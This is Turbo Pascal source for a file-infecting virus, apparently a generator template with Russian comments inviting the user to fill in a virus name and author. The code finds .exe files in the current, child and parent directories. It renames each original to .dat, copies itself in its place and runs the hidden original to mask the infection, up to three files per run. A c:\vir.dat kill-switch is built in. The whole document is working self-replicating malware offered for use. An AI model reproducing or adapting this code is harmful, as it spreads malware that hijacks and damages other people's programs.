{$M $4000,0,0 }
uses crt,dos;
var
sr_file,sr_dir:searchrec;
col,infmax,infcount,i:integer;
auth,name,sdir,path,params:string;
ne_inf,v_h,pe_inf:string;
f:file;
test:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;

function petest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
petest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='P' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then PETest:=true;
end;
close(fl);
end;

function netest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
netest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='N' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then NETest:=true;
end;
close(fl);
end;

procedure inf(s:string);
var
g:file of char;
begin
IF INFCOUNT>=INFMAX THEN EXIT;
{$I-}
if petest(s)=true then
begin
if pe_inf<>'pe_t' then exit;

end;
if netest(s)=true then
begin
if ne_inf<>'ne_t' then exit;

end;

fsplit(s,d,n,e);
assign(g,d+n+'.dat');
reset(g);
if ioresult=0 then
begin
close(g);
exit;
end;
assign(g,s);
rename(g,d+n+'.dat');
SwapVectors;
Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul');
SwapVectors;
INFCOUNT:=INFCOUNT+1;
end;

procedure inf_dir;
begin
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);

findfirst('*',$10,sr_dir);
if doserror<>0 then exit;
repeat
findnext(sr_dir);
if doserror<>0 then exit;
until (sr_dir.name<>'..')and(sr_dir.name<>'.');

repeat
if doserror=0 then
begin
chdir(sr_dir.name);
if doserror<>0 then exit;
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);
if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..');
end;
findnext(sr_dir);
if doserror<>0 then exit;
until (doserror<>0)or(ioresult<>0);

end;

begin
{***********
************
************
************
***********}
NAME:='Имя_вируса';
AUTH:='Имя_автора вируса';
{Заражать PE-EXEфайлы? pe_t - да, pe_n - нет}
PE_INF:='pe_t';
{Заражать NE-EXEфайлы? ne_t - да, ne_n - нет}
NE_INF:='ne_t';
{Сколько файлов заразить максимум за один раз?}
INFMAX:=3;
{Каким цветом выдавать сообщение об ошибке?
0 -черный,
1 - синий,
2 - зеленый,
4 - красный,
номер цвета + 16 - мигать каким - то цветом}
COL:=4+16;
{***********
************
************
************
***********}
infcount:=0;
getdir(0,sdir);
for i:=1 to paramcount do
begin
params:=params+' '+paramstr(i);
end;
fsplit(paramstr(0),d,n,e);
assign(f,paramstr(0));
rename(f,d+n+'.tmp');
{$I-}
assign(f,d+n+'.dat');
rename(f,d+n+'.exe');
if ioresult<>0 then
begin
assign(f,d+n+'.tmp');
rename(f,paramstr(0));
textcolor(col);
writeln('Virus ',name);
writeln('Generated by ',auth);
writeln;
writeln('ERROR:Could not find DATA file.');
textcolor(7);
chdir(sdir);
halt(0);
end;
SwapVectors;
Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params);
SwapVectors;
assign(f,d+n+'.exe');
rename(f,d+n+'.dat');
assign(f,d+n+'.tmp');
rename(f,d+n+'.exe');
{CODE}
{Проверка системы: если есть c:\vir.dat тогда выходим и не заражаем}
{$I-}
assign(test,'c:\vir.dat');
reset(test);
if ioresult=0 then halt(0);
inf_dir;
chdir(sdir);
chdir('..');
inf_dir;
chdir(sdir);
end.